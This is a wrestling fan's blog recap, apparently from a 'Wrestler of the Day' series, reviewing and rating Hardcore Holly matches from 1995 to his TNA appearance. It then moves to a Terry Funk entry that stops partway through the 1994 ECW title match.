Holly gets beaten down so badly that he goes to the wrong corner and tags in Tatanka. Thank goodness this isn’t the Attitude Era because it probably would have been legal in some of their matches. Tatanka comes in for more beating on Holly until Bob FINALLY gets in a clothesline for the hot tag to the Kid. Everything breaks down and Kid is LAUNCHED to the floor by Bigelow. Bam Bam loads up the moonsault but Tatanka accidentally hits the ropes to knock him to the mat. Somehow that’s enough for the pin and the titles for the Kid.

Rating: C+. This went nearly sixteen minutes which was just too long. It’s quite good but it would have been great if they cut off five minutes or so. Those launches by Bigelow were awesome looking as Kid continues to be an excellent seller of moves like those. The idea was that it was all Bigelow’s fault, even though Tatanka is totally to blame for Bigelow crashing like that. The Gunns would win the titles back the next night on Raw, making this whole thing pretty pointless.

The rise wouldn’t last long as Holly would have this match at Summerslam 1995.

Hunter Hearst Helmsley vs. Bob Holly

This is the future boss’ PPV debut. Helmsley is the stuck up blue blood here so he walks around with his nose in the air. Holly takes him down with some armdrags but gets in a cheap shot to Bob’s head. Holly comes back with some kicks in the corner but runs into a knee to the face to put him down. Helmsley chokes away in the corner before hitting a HARD whip across the corner. A backbreaker gets two and a Flair knee drop gets the same.

We go split screen to see the British Bulldog arriving but he has nothing to say. Helmsley hooks an abdominal stretch but has to hiptoss Holly over the top after he counters. Holly comes back with some dropkicks and some jobber level offense including a backdrop. He tries a second one though and gets caught in a Pedigree for the pin.

Rating: D. Well he had to get better after something like this. HHH didn’t look like anything of note but the Pedigree was a good finisher. It was actually his second finisher as he started with a Diamond Cutter but changed it quickly into his run. Holly would also completely change his character in coming years until it finally clicked with the hardcore character.

Holly would be used to put over a string of debuting wrestlers, including Justin Hawk Bradshaw and this man, on Raw, April 1, 1996.

Bob Holly vs. Mankind

Mankind takes over to start and hammers away in the corner before hitting a running knee to the head. Holly fires off some right hands but gets elbowed in the head. The dropkick puts Mankind down and a cross body puts him on the floor. Mankind sends him into the barricade to take over before heading back inside for the Mandible Claw for the submission. Basic dominance.

Here’s another match from Thursday Raw Thursday on February 13, 1997.

Headbangers vs. Bob Holly/Aldo Montoya

Montoya is more famous as Justin Credible. We see some clips of some WWF guys on a country music show. Road Dogg got to sing his song on there and Hillbilly Jim played some guitar. Also there was a “match” with the Godwinns vs. Jarrett/the host. Who thought this was a good idea for a match? Mosh vs. Holly to start us off. Holly doesn’t so much do things well as much as he doesn’t do things well.

In case you can’t get it, this is a terribly boring match. It’s not that it’s bad but there’s no point to having it and yet it’s here anyway. We’re talking about Shawn Michaels anyway which is far more interesting so that helps. I mean really, does anyone want to watch these four guys have a match? The announcers aren’t paying a bit of attention to this which I can’t blame them for at all.

The Headbangers hit a double Gordbuster on Holly as they take over. Yeah I don’t care about this match at all either. The idea is that Shawn might have to have reconstructive surgery. In reality the knee was slightly injured but he could have gone without the surgery but that would have meant losing the title at Mania which he just wasn’t going to do.

We might have talked about this match for 20 seconds combined of four and a half minutes. Thrasher misses a moonsault and it’s off to Montoya. We’re talking about Brett Favre now. I can’t escape this guy. Finally the Headbangers win with a powerbomb/leg drop combination. Sunny says Mosh and Thrash just won. Even she wasn’t paying attention.

Rating: D. The match was ok I guess but at the same time this was one of those times where no one cared in the slightest and everyone knew it. WWF in 97 was just bad at some points and this is one of them. Who in the world thought this was something people would want to see? Bad match, but now let’s get to something that matters.

In 1998, Holly would become Bombastic Bob, one half of the New Midnight Express. They had a chance to win the NWA World Tag Team Titles on Raw, March 30, 1998.

NWA Tag Titles: New Midnight Express vs. Headbangers

Pretty sure this is the final appearance of the titles or the NWA on Raw. Cornette sits in on commentary. He has Dan the Beast Severn with him as a bodyguard. The Bangers mash up everyone here and I apologize for that awful joke. We get down to an actual match and the Express takes over. Cornette rants about how awesome Severn is and at the time he’s the NWA Champion. DX is going to introduce another member tonight.

Bob beats on Thrasher for awhile as this needs to end. Like I said this was the last mention of the NWA tag titles but Severn stuck around for awhile. To be fair though there were far too many factions around at this point so they needed to drop a few of them. Hot tag brings in Mosh and everything breaks down. A Rocket Launcher to Mosh gives the Express the titles.

Rating: D+. Total mess here but thankfully this ended it. Not much of a match at all but the point was to make Severn the star which they would do after the match. He would be world champion for like 4 years or something and dropped it like a year from now. He would also be the last champion before TNA got the rights to the belt. Notice that I’m not talking about the match at all. Should tell you something.

In late 1998, Holly would finally find the character he was looking for when he became Hardcore Bob Holly. This put him right in the middle of the hardcore division, earning him a shot at the Hardcore title at St. Valentine’s Day Massacre.

Hardcore Title: Al Snow vs. Bob Holly

The title is vacant coming in due to the champion Road Dogg being injured. The brawl is on to start with Snow scoring with a quick chair shot. They head into the crowd with Snow in control until he gets slammed down onto some steps. Holly blasts him in the face with a fire extinguisher and breaks a glass jaw over Snow’s head, only to be sprayed down by the fire extinguisher as well.

They head backstage with both guys being thrown into doors until Snow pelts a trashcan at Holly. Bob comes back with a beer case and they fight outside where it’s 40 degrees at most. Holly is rammed head first into the side of a truck and they head over to the fire lane with Holly breaking a no parking sign over Al’s back. Snow seems to be laughing as Holly gets two. They head over to a wall and then a fence with Snow shouting at Holly for turning on him by leaving the J.O.B. Squad.

A stop sign to Snow’s back knocks him onto the banks of the Mississippi River but Al knocks him into a wheelbarrow. They fight over to some trees and closer to the water with Holly hitting him in the head with something made of metal. Snow comes back with some kicks and choking on the dirt before Holly is thrown into the water to fire up the fans in the arena. Holly comes back by sending Snow into a tree before Snow comes back with shots to the kidneys. They slug it out even more with Holly wrapping him up in some chain link fence for the pin and the title.

Rating: D+. This is one where you individual taste may vary widely either way. The match was definitely more of a spectacle than a contest which is fine, but if that’s not your thing then you were going to hate this. These two would have more and more of these insane fights which were very hit or miss. It wasn’t bad but it was only for certain tastes.

Later in the year, Hardcore would get a new partner, his cousin Crash. They pair would get a Tag Team Title shot against the Rock N Sock Connection on Raw, Octber 18, 1999.

Tag Team Titles: Hollies vs. Rock N Sock Connection

Mankind is upset at Rock for allegedly throwing his book in the trash and is sitting on the steps instead of getting on the apron. The cousins double team Rock to start until it’s Crash taking over. Rock’s ribs are banged up and the challengers are all over them as Mankind looks over his shoulder into the ring. Hardcore comes in and kicks at the ribs before a dropkick gets two.

A suplex puts Rock down and Hardcore heads outside to call Mankind worthless. Crash puts on a sleeper as Mankind has taken off his mask. Rock fights back with a Samoan drop and Mankind stands up on the steps. Some right hands put the challengers down and a DDT gets two on Crash. Hardcore dives into a Rock Bottom but HHH comes in and Pedigrees Rock with Crash distracting the referee, giving Hardcore the pin and the titles.

Rating: D+. This didn’t have the time to go anywhere and was much more about the angle than anything else. This also gets the Tag Team Titles back down to earth as there’s almost no way Rock and Mankind could lose to any regular team when they’re on the same page. Not a good match or anything but the energy was there.

Holly would have some regular matches in the next year, including this one from Raw, June 5, 2000.

King of the Ring Qualifying Match: Hardcore Holly vs. Faarooq

It’s a brawl to start of course with Faarooq pounding Holly down and getting two off a shoulder block. Holly is sent to the floor but referee Teddy Long holds Faarooq back. A clothesline gets two more for Faarooq back inside but he doesn’t seem too hurried to pin Holly. They head back outside with Holly being whipped into the barricade, followed by more standing around. Back in and Holly escapes the Dominator and hits a Falcon’s Arrow for the pin. Nothing again here.

Here’s a higher profile six man tag from June 4, 2001 on Raw.

Dudley Boys vs. Hollies/Kurt Angle

Six man tag here. Hardcore and Kurt have a quick argument due to the whole severely broken arm Kurt gave Hardcore a few years ago. D-Von and Hardcore start but Spike comes in before there’s any contract. Kurt wants to come in but gets decked quickly and it’s back to D-Von, giving us two tags before there was any contact between the legal men. We get going and D-Von hits a powerslam for two.

The fans want tables but that would be a DQ here, so do they want the Dudleys to lose? Actually who are the faces here? The Dudleys want to put Molly through a table which is hardly a good guy action. Hardcore beats on Spike for a bit, including the punt to the “abdomen”. Off to Crash for such a short time that I didn’t see him do anything. Back to Hardcore who hits a suplex for two.

Crash comes in and there’s a distinct lack of Kurt in this, which I think is the point. Spike manages a tag to Bubba but the fans miss it. Kurt does get in and Spike GOES OFF, until Hardcore gets in a shot and Spike gets killed by a German. Spike blocks a superplex and hits a double stomp off the middle rope.

Double tag brings in Bubba and Hardcore and a Bubba Bomb puts him down. Crash takes a Samoan Drop and Hardcore takes a Doomsday Device. Kurt pops in for a German on Bubba but the moonsault misses. Hey Kurt. WHAT’S UP??? Bubba calls for a table but it’s a 3D to Crash instead. A quick Angle Slam pins Bubba though.

Rating: C. Again this feud is just kind of fun. There’s no main event or title implications to it but the feud works very well. It’s well done and the feud makes perfect sense. For some reason, that just can’t be done today. It seems that everything has to be part of a bigger purpose and a bigger story. Nothing can be a small and self contained story anymore.

We’ll jump ahead a good bit here as Holly wouldn’t do anything in 2002 but Brock Lesnar would break his neck late in the year, putting Holly out for over a year. He would return wanting revenge though, earning him a WWE Title shot at the 2004 Royal Rumble.

Smackdown World Title: Brock Lesnar vs. Hardcore Holly

Holly jumps Lesnar in the aisle and sends him into the post because he wants to break Lesnar’s neck. We get a bell and Holly misses an elbow off the top to give Brock control. They head to the floor where Holly’s back is rammed into the apron and Lesnar hooks a reverse body vice back inside. That goes nowhere so Brock hits a Shell Shock for two and it’s right back to the hold.

We shift to a bearhug and then one of the most wicked overhead belly to belly suplexes you’ll ever see. Off to a kind of rear naked choke by Lesnar to keep things dull. Holly makes his comeback with the dropkick and hits the Alabama Slam but goes for a full nelson and revenge instead of the title. Holly hooks the hold and goes to the floor with it but has to break the count. The F5 hits a few seconds later to complete the inevitable.

Rating: D. This was Brock Lesnar defending the world title against Hardcore Holly on pay per view. If you can’t figure out why this got the rating it got, I can’t help you.

Holly would come back down to earth after this and do almost nothing for the rest of the year. He would form a few tag teams over the next year, including one with Charlie Haas. The pair would get a Smackdown Tag Team Title shot at Judgment Day 2005.

Smackdown Tag Titles: MNM vs. Hardcore Holly/Charlie Haas

MNM have the belts here of course. Melina runs her mouth and yet says nothing at all. Amazing how so many of the Divas do that. Why in the world are Holly and Haas teaming together? Oh that’s right: the tag division was atrocious at this point. As in worse than it is today. Nitro (Morrison) vs. Haas to start us off. Key lock by Nitro and Haas is like “boy are you trying to wrestle me” and sends him to the floor.

Arm work by Haas including a HARD arm drag. Off to Holly vs. Mercury now. Oh dear this is going to be bad. Holly gets his one move, the dropkick, for two. Allegedly low blow pops the crowd a bit but Mercury gets a hard chop to take over. Scratch the taking over part as they’re going to chop it out a bit. Alabama Slam is set up but Haas distracts the referee for some reason, allowing Nitro to kick Holly and shift momentum.

Nitro hammers away on Holly and I wonder how Holly feels that his student is 10x the star that Holly ever was. Mercury back in and this is more or less shouting WE SHOULD BE ON SMACKDOWN! Chinlock goes on to waste some time. Holly manages to get a full nelson slam and…..and….my goodness it’s a HOLLY chant! Jesse Ventura must have poisoned this crowd and taken over their heads. That has to be on the next season of Conspiracy Theory.

Haas comes in and clears house, sending both guys to the floor and hitting a big dive to take both of them out. Melina tries to trip up Haas but she gets sent to the floor. Haas cleans house but can’t get an exploder suplex. Haas has the pin but the referee is distracted. Holly apparently stepped out for doughnuts or something as MNM hits the Snapshot (flapjack/DDT combo) for the pin to retain.

Rating: B-. Considering who was in there, this was a miracle. The crowd was INTO this, despite it being more or less an extended TV match. Haas and Holly would of course never team again but hey I can let that slide. At one point Tatanka and Matt Hardy were a team. Are you starting to see how bad this division was? Anyway, shockingly good match here and a hot crowd on top of that.

Holly would head to ECW as one of the top heels the following year. His major feud was with Rob Van Dam, including this Extreme Rules match from ECW on September 26, 2006.

Rob Van Dam vs. Hardcore Holly

Extreme Rules. Van Dam takes over to start and sends Holly into the corner. A superkick puts Holly down but it’s time to pose before Van Dam follows up. Out to the floor they go but Van Dam’s posing gets him in trouble again. Holly gets draped over the barricade and there’s the spin kick to the back. Van Dam loads up a table to the crowd’s delight but Holly blasts him in the back and sends him into the steps to take over.

Van Dam fires off more kicks and they head back inside, only to charge into Holly’s boot in the corner. A back elbow to the face puts Van Dam down and Holly goes to the apron for a suplex onto the aforementioned table. The suplex hits and we go to a break, coming back to see a MASSIVE gash in Holly’s back. That is sick looking and he would have a scar for the rest of his WWE career.

Holly sets up a chair in the middle of the ring and drops Van Dam’s throat across the chair for two. With the chair over Van Dam’s face, Holly drops a middle rope leg for another two. There is blood all over Holly’s back. Van Dam comes back with a suplex onto the chair and blood SQUIRTS out of Holly’s back. That is freaking SICK. There’s the monkey flip and you can tell Holly is having to land awkwardly. The top rope kick puts Holly down and Van Dam gets the chair. There’s the skateboard dropkick into the corner and Holly is looking dead.

Rolling Thunder onto the chair onto Holly gets two. Van Dam tries another monkey flip but gets powerbombed down onto the chair for another close two. This is good stuff. Van Dam puts the chair on Hardcore’s chest and loads up the Five Star, but Holly throws the chair at his face on the way down. THAT gets two and the fans think this is awesome. Alabama Slam is countered so Holly gets the chair. However, YOU CAN’T HOLD A CHAIR IN FRONT OF VAN DAM! Van Daminator sets up the Five Star to finally beat Holly.

Rating: B+. That’s partially for the guts Holly had on display here. Take that either figuratively or literally as both are appropriate. This is easily Holly’s best match ever and one of the best matches that aired on this show. Really good stuff here and the cut on Holly’s back is insane.

This run would actually get him an ECW Title shot at December to Dismember.

ECW World Title: CM Punk vs. Bobby Lashley vs. Test vs. Hardcore Holly vs Big Show vs. Rob Van Dam

Now keep in mind, Punk and Lashley were more or less worthless at this point, so the only two legit main event guys you have in there are RVD who was hated by the company at this point and Show who didn’t care as he was leaving in 48 hours. RVD and Holly start. Remember that as soon as each pod opens up, the person comes out with a weapon which I’ll get to as each pod opens.

Holly is booed out of the freaking building. Naturally Vince will insist that it’s because of how great a heel he is or whatever. So we have to watch Holly and Van Dam for five minutes. Oh joy. The entrances took almost ten minutes mind you. The fans are dead here by the way. We get Rolling Thunder on the cage, which is impressive but we’ve seen it before.

They’ve managed to make the Elimination Chamber boring. That’s just impressive. Note: another Punk chant goes up. I can’t emphasize this enough: PUNK IS OVER. In third is Punk and his chair to a freaking ERUPTION. It’s a shame that he didn’t have a freaking chance to win here. And Van Dam kicks the chair into him so he’s down 30 seconds in.

Ok to be fair, they’re the two most over guys in there so that’s ok I guess. Van Dam is bleeding. Apparently you can get pins outside on the cage now. That’s new I think. Heyman is the evil GM here in case you didn’t know. Punk is getting destroyed by Holly here in case you weren’t sure.

Also Punk would have his first loss in the company to Holly in about a month with the justification being that Holly was the bigger star and should go over. Again: if it’s not Vince’s idea, it’s not a good idea. In fourth is Test with a crowbar. Naturally he nails Punk with it. This is stupid. Test and Hardcore Holly are in the MAIN EVENT OF A PAY PER VIEW.

The idea here is that the heels are all working together which is completely pointless considering the idea of the match but that can’t be Vince’s idea. Heyman “booked” this remember? And then Van Dam hits this Five Star and Punk is gone. Yep, the most over guy in the match is out first while Test and Holly get to stick around.

Test puts Holly out ten seconds later with a big boot. It was only a two but the referee calls it three. The announcers and fans are confused but since this show isn’t for the fans it doesn’t matter. Van Dam goes up on top of Big Show’s pod but a chair shot puts him down. Test hits a big elbow off the pod…and Van Dam is out. Let’s see. Why is this stupid? Number one, the most over guy left is Big Show.

Second, now THERE’S NO ONE FOR TEST TO FIGHT, so it’s just dead time now. Third, you had freaking TEST beat RVD. We’re still just sitting around after two replays of the elbow and just waiting on ANYTHING to happen. The fans have completely turned on the match at this point and don’t care at all. Thankfully the next guy in is Lashley.

He gets NO pop at all. Heyman’s security try to hold him in the pod, but using the WOODEN table in the pod with him, he breaks the STEEL chains on top of the pod. ARE YOU KIDDINS ME??? The table is still in the pod mind you so it’s not like it’s even being used. They keep ramming Test into the Plexiglas to set up Lashley vs. Show.

Yeah, that’s what this whole thing is supposed to end with: the massive showdown between Show and a heavily muscled guy. I know I’ve said it before, but Vince has to have repressed homosexual desires towards musclemen. I mean really, is there any doubt of it at this point? The fans HATE this mind you.

A spear puts Test out with a minute and a half left until Show comes out. In other words, we have nothing to do but wait for the time to run out. You might as well quit reading now as you know exactly what’s coming. Show comes in with his barbed wire ball bat and naturally he gets in no offense as it’s ALL Lashley here. He avoids the chokeslam and they slug it out. Lashley is terrible in the ring at this point mind you, so this is even more torture. And he wins it with a spear. The main event is over two hours and five minutes into the show.

Rating: D-. This was just completely ridiculous for reasons I’ve already gone into. For another thing, SABU, the guy that has somehow made a whole career out of doing stupid stunts in a ring, is left out here in favor of Holly. Are you freaking KIDDING? This was just freaking dumb and nothing more than Vince deciding that he’s smarter than the fans once again.

After a few more months on ECW, it was back to Raw for a feud with rookie Cody Rhodes. Then they hooked up and got a Tag Team Title shot because that’s how wrestling works. From Raw, December 10, 2007.

Raw Tag Titles: Hardcore Holly/Cody Rhodes vs. Lance Cade/Trevor Murdoch

Dusty is out here too so you know this is going to be a title change. Cody’s team is challenging. Cade and Cody start us off as Dusty is at home talking a lot. He really was good at what he did and the one biggest thing about him: you can never say he was boring. He paid attention and had insight about EVERYTHING. Cody is very much a rookie here and after he gets beaten up for awhile it’s a double tag and Holly cleans house. Everything breaks down and the Alabama Slam gives Rhodes and Holly the titles. Dusty comes in to celebrate with them.

We’ll wrap it up with Holly’s one night only TNA appearance at….well at One Night Only: Hardcore Justice 2.

Aces and 8’s vs. James Storm/Magnus/???

It’s Brisco/Knux/Doc here and this is under hardcore elimination rules. Storm’s surprise partner: Bob “Hardcore” Holly. Holly has a big chest/shoulder tattoo now which screams mid life crisis. He’s in jeans and sneakers here as he starts with Knux and stomps him down in the corner. Off to Brisco who gets kicked between the legs before it’s off to Storm. The fans are more fired up for this match than they’ve been for almost anything tonight.

Storm hits a quick running enziguri in the corner but gets caught in the back by Doc who comes in off a tag. James knocks him down by like a superstar knocking down a big enforcer before bringing in Magnus. They go to the floor for a bit until Magnus gets caught in the wrong corner. Brisco drives shoulders into the Brit’s ribs before it’s off to Doc for right hands. Magnus is crushed by a corner clothesline and it’s back to Knux who gets two off a side slam.

Brisco hooks a cravate followed by a chinlock before it’s back to Doc for a snap suplex. Magnus escapes a chokeslam and a double clothesline puts both guys down. Hot tag brings in Storm to face Brisco as things break down. It’s off to Holly with what looks like a pipe to clean house, only to have Knux hit a big boot to slow him down.

A powerbomb is countered into the Alabama Slam to eliminate Knux but Brisco rolls Holly up for a quick elimination. Magnus blasts Brisco in the head with a trashcan lid and gets a pin off a falcon’s arrow, only to walk into a chokeslam from Doc to get it down to one on one. Doc blasts Storm with the trashcan lid for two but spends too much time boasting, allowing Storm to hit the Closing Time and Last Call for the final pin.

Rating: C. This was nothing of note and I don’t think anyone bought Storm as being in any danger at all. Hardcore Holly as a surprise makes sense on a show like this but he’s a fifty year old man who never meant much of anything in the first place. This was by far and away the second best match of the night so far.

Hardcore Holly is a guy that was around forever and never got that high up the card, but he was good in his role. He was able to have a watchable match and had an awesome dropkick. It helped that he was easy to hate and looked like a tough guy. You can’t be in the WWE for fifteen years and not be someone worth keeping around.

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Wrestler of the Day – June 26: Terry Funk

Today we’re looking at a legend: Terry Funk.

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Funk got his start in 1965 but obviously a lot of that early stuff is almost impossible to find in full. Instead we’ll jump WAY ahead to September 11, 1982 at an All Japan show.

Terry Funk vs. Stan Hansen

It’s a brawl to start as you would expect with Hansen hammering away, only to have Funk come back with those big left hands of his. They’re on the floor less than a minute in but Stan gets inside while Terry sits on the concrete. Back in and Hansen slams Funk, sending him right back to the floor. Some knees and kicks to the back of Funk’s head have him in even more trouble and he goes outside again. This time Stan follows him and hammers away before Funk scores with some elbows to the head back inside.

They grapple on the mat a bit and the fans are into it, though I have no idea who they’re cheering for. Terry chops away from the mat before nailing a belly to back suplex. Funk pounds Hansen in the head but Stan seems to like it and comes back with right hands of his own. We hit a chinlock from Hansen followed by a suplex for two.

Funk is thrown to the floor where he gets a chair, only to draw Stan outside to make it a real brawl. They head back inside and Funk is ticked off. He sends Hansen into the referee and a second referee takes a lariat from Stan. Someone who looks like Ron Bass runs in to hold Funk for the lariat as the match is thrown out.

Rating: C+. Not a bad brawl here and the feud would continue until Funk’s first retirement match the next year when he brought in his brother to help him fight. This was WAY different than what you were going to get around this time as hardcore and violence was a very rare thing to see. Fun but not great stuff.

Funk would head to the WWF and go after Hulk Hogan’s WWF Title in 1986. Here they are on Saturday Night’s Main Event #4.

WWF Title: Hulk Hogan vs. Terry Funk

Hogan is in blue here as I think this was on the SNME DVD. Yeah it was. They botch an Irish Whip reversal sequence early in the match but it comes off ok I guess. It’s weird seeing Hogan in there with Funk. That’s just an odd combination if there ever was one. JYD keeps annoying Jimmy Hart.

Hart manages Funk in case you didn’t get that idea. We get a nice segment where Funk keeps dropping down and Hogan keeps stepping on his back. Simple but effective. Funk throws chairs, nothing comes of it. Crowd LOVES Hogan to put it mildly. We get a low blow which wasn’t a common move back in the day. And just as I say that he gets crotched on the top rope. Funk gets some tape and chokes Hogan to take over.

Piledriver gets two. GO TO MEMPHIS! You’d be champion for 3 months since Hogan would be in the hospital that long. And now all of a sudden Hogan can’t feel pain. Oddly enough Hart gets a shot in with the branding iron to get a cover for Funk. Naturally Hogan gets his foot on the rope and Funk thinks he’s won. I guess even legends can be idiots like that. Hogan waits on him and takes his head off with a lariat for the pin.

Rating: C-. Nothing classic at all, but for a free TV title defense, this was fine. Hogan vs. anything that weighed less than 300lbs is always interesting and Funk being certifiable helped a lot as it made things far more interesting.

And a follow up from a house show in Boston on March 8, 1986.

Terry Funk/Hoss Funk vs. Hulk Hogan/Junkyard Dog

Hoss is Dory Jr. Terry gets in Gorilla’s face to start and the sunglasses come off. Terry has to be held back from going after a fan in the front row. JYD chokes Hoss and Hogan beats on Terry as GORILLA CURSES!!!! I feel so dirty now. Terry vs. JYD to start us off. Funk rams into the shoulder and tries to ram his head into JYD’s. Dog is lie boy…..just no. Off to Dory and we get an old school crisscross. JYD stops and Dory keeps running. Terry comes in and runs also as Dog just watches them. Funny stuff.

Off to Hogan vs. Dory with Hogan having bad ribs thanks to Bundy at the moment. Terry tries to interfere and takes out a cameraman in the process. I love the visuals in those. Now Terry is tangled up in the cables at ringside and falls down. He’s NUTS here. Hogan slams them both and the Funks hit the floor again. The fans LOVE Hulk to say the least. Even off basic slams he has them losing their minds.

Terry manages to send Hulk into the steps and gets a shot to the ribs to take over. He hammers away in the ring and that gets him nowhere. Off to the Dog who would usually play Ricky Morton but that formula hadn’t been invented yet. Dog gets beaten on for awhile until he gets an AWFUL belly to back to Terry to escape. Hogan comes in and another shot to the ribs has him in trouble.

Hogan gets choked by some tape and the referee misses the tag to the dog. Jimmy gets pulled into the ring so Terry chokes JYD with a rope. Hogan gets a clothesline out of nowhere to pin Terry, the illegal man, with. At least this is finally over. The show I mean. Well the match also but you get the point.

Rating: D+. Just a main event tag match that wasn’t very good as the tag team formula hadn’t been established yet. Not awful but their match on SNME was so far and away ahead of this that it wasn’t even funny. Also, is there any reason why Bundy wasn’t involved in this? If there is I certainly don’t get it. Tito would substitute for Hogan at Mania in the same tag match which was WAY better.

After a brief retirement and a career as an announcer, Funk would ask Ric Flair for a title shot at WrestleWar 1989. Flair said no and Funk snapped, brutally attacking Flari. Terry was told that he had to beat a contender to get a shot and he had that match at Clash of the Champions #7.

Terry Funk vs. Ricky Steamboat

The story here is Terry Funk is only ranked #10 in the contenders rankings and has to beat the #1 contender Steamboat to earn the title match he wants. They fight up against the ropes to start until Funk takes him into the corner for some hard chops. Steamboat chops him right back and we have an early standoff. Funk tries to speed things up a bit but gets chopped down to the floor.

Back in and Terry slugs away before throwing Steamboat through the ropes. Steamboat is fine with chopping on the floor but sends Funk back inside, only to be taken to the mat and pummeled with right hands. A neckbreaker and splash to the back get two for Terry but Steamboat fights back and sends him right back to the floor. Ricky comes off the top with a chop to the head before carrying Funk around ringside for a slam. Steamboat takes him back inside, only to slam Terry right back to the floor. Why that’s not a DQ for throwing someone over the top isn’t explained.

Terry comes back inside and hammers away with right hands and chops. A piledriver gets two but Steamboat pops up and chops Terry’s skin off. He runs into the referee by mistake though and Funk throws him back outside again. A running piledriver on the floor and a suplex back inside gets a VERY close two and Funk is ticked off. He hammers away at Steamboat’s head but his top rope splash hits knees. Steamboat hits a gutbuster and goes up for a chop to the head. Terry rolls to the floor and grabs the microphone to blast Ricky in the head for the DQ.

Rating: B+. You have one of the best heroes of all time against one of the best villains of all time when both guys were at one of the highest peaks of their careers. There was no way this match wasn’t going to be at least very good. Terry winning by DQ makes sense given his insanity, as you knew the rankings weren’t going to stop Funk from getting a shot at the title somewhere down the line.

The feud with Flair would continue at Halloween Havoc 1989 with some talented partners.

Sting/Ric Flair vs. Great Muta/Terry Funk

This is the Thunderdome Cage Match. It’s an electrified cage and Bruno Sammartino is refereeing. You know he gets a big pop in the northeast. This is a combination of two feuds: Sting vs. Muta and Flair vs. Funk. The latter was the top feud of the summer with the former just a step behind. When it’s likely that Sting is the worst wrestler in a match, you know you’ve got some talent in the ring. You win by having your opponent’s team throwing in a towel and it’s Ole Anderson and Gary Hart as the towel bearers.

This isn’t a regular cage but rather a Cell type one. There’s no roof but it slants in and that’s the electrified part so no one is getting in or out. Funk tries to escape because he’s a little nuts. Something catches on fire so Muta spits Green Mist to put it out. Ok so it’s Flair vs. Funk to get us going. Flair chops away and Funk is in trouble early. Everyone comes in and Muta goes after Bruno which doesn’t work at all.

Flair throws Funk to the floor which isn’t a DQ because it’s a cage of course. Off to Sting who takes it to the space between the ring and the cage. Back to the Flair who slams Funk down and rolls forward, slapping Muta in the process. Awesome. Sting comes in with a perfect dropkick and the announcers blast Ultimate Warrior (Sting’s old partner). Off to Muta who is thrown back into Funk with ease. Muta is undefeated and I think TV Champion at this point. JR’s next sentence: “Suplex by Sting on the undefeated television champion of the world.” Thanks JR.

Sting and Flair have dominated so far. Everything breaks down and they head out to the floor. Muta and Sting wind up in the ring with the Great One taking over for the first time. Funk stomps on Sting outside and I think the tagging part is gone. Muta and Funk double team Sting in the ring with a bunch of elbow drops but Flair comes back in for the save. Muta misses a high kick and Sting bulldogs him down.

Funk takes one as well and Flair is standing on the apron again. He comes in to break up a double team though and climbs the cage with Funk. Sting suplexes Muta and now everyone but Funk is climbing. Muta goes up high enough that his feet are above the top rope. He might have gotten electrocuted also. Flair chops Funk so hard that Funk starts climbing the cage.

Flair chases Funk and in a SCARY spot, Funk is hanging from the top of the cage while Flair chops him. Funk’s knee is caught in the cage as Sting slams Muta. Everyone but Funk is back in the ring now and Muta is tossed out. Muta goes under the ring as Funk climbs up again. Sting goes after him as Flair puts the Figure Four on Muta. Is there any need for Bruno in this match?

For no apparent reason, Flair lets the hold go. There was no Funk or anything anywhere near him and he just let it go. Muta gets a HARD kick to Flair as Sting swings on a rope like Tarzan but crotches himself in the process. Muta hooks a modified Indian Deathlock on Flair and hooks a bridging neck crank at the same time. Funk tied Sting to the cage and goes in to spike piledrive Flair.

Sting finally gets loose, climbs even high and DIVES onto Funk. He would have been three feet above the top rope for that. Muta climbs up and Funk has a bad leg. You can feel Flair smiling from here. There’s the knee crusher as Sting goes after Muta. Muta goes for the moonsault but Sting crotches him. Figure Four to Funk and Sting splashes him from the top. There’s a second splash and Bruno clocks Muta. Ole punches Hart which sends the towel flying and that’s good enough for Bruno to call for the bell.

Rating: B. It’s good but it’s definitely not a classic. With Muta and Funk climbing the cage for absolutely no apparent reason and having no point for Bruno being in there, it’s kind of a puzzling match. It’s not bad but at the end of the day, there’s not much of a point to a lot of this. Fun match and it gets awesome at times, but it’s not something worth going out of your way to see.

That would be it for Funk in America for a few years. Funk would join the upstart Eastern Championship Wrestling and appear at one of its first big events: Ultra Clash 1993.

Abdullah the Butcher/Kevin Sullivan vs. Terry Funk/Stan Hansen

This is more or less anything goes. Terry goes up the scaffold. It’s a Bunkhouse Match, which was Dusty’s idea of anything goes. No story here it appears but rather just four crazy guys that can fight. Chairs are brought in and it’s Sullivan vs. Funk and the other two fight also. Ok never mind no they don’t. Abdullah throws photographers out of the way to get to Funk. Joey is LOVING this.

They trade off we actually get to the ring. Sullivan and Funk go up the scaffold as I realize how weird it is to see Hansen in America. It’s just not something you see that often. Funk is busted open. Naturally there’s no flow or anything like that and it’s just a wild brawl. Funk gets a chair and blasts everyone with it. Abdullah can barely move but that’s typical for him and not meant as a knock to him.

I’m pretty sure everyone is bleeding now and Sullivan blasts Funk in the head with a hammer. Ok that was insane. That’s beyond FREAKING OW MAN. Abdullah accidently hits Sullivan and Funk goes for a Figure Four on him of all things. Someone with a chair comes in and we actually get a freaking DQ. It’s Eddie Gilbert. Dang I thought he was gone. Funk and Hansen win.

Rating: B+. Totally wild brawl but the DQ ending killed it. This was exactly what it was supposed to be: totally violent with no semblance of order or anything like it. This is the life’s blood of ECW and something tells me this is a Heyman thing. The bunch of run ins after the match ended are practically a trademark of his.

The next year, Funk would be involved in the match that put ECW on the map. From The Night The Line Was Crossed.

ECW Title: Shane Douglas vs. Terry Funk vs. Sabu

Ok so is this 60 minutes or are Shane and Sabu going 75? Sabu leaves, I guess with an injury and it’s Shane vs. Terry. Given that we have less than an hour in the tape and there are post match interviews, the whole thing is an hour but Funk only has to go 45. Ok then. Funk hits a piledriver on the floor but we can’t see all of it since it’s not on the camera side. To be fair the same thing happened at the end of the 94 Rumble so that’s a thing of the times and not ECW.

Funk hits a pair of DDTs in the ring (one like a football being spiked and one being like a basketball being bounced according to Joey). Terry wants a chair so about 6 people throw them in. They get piled up and Shane takes ANOTHER DDT on them. Seriously that’s all we’ve had from Funk so far: DDTs and a piledriver. Shane manages to beat Funk to his feet after that DDT which is odd.

Shane beats on Funk who now has a bad back it seems. This is moving REALLY slowly and nothing of note is happening. We had a long stretch of brawling in the audience and nothing of note happened. Douglas mixes things up with a DDT of his own. How innovative! All Shane here as Funk is busted open. The referee goes down at some point and this is literally putting me to sleep.

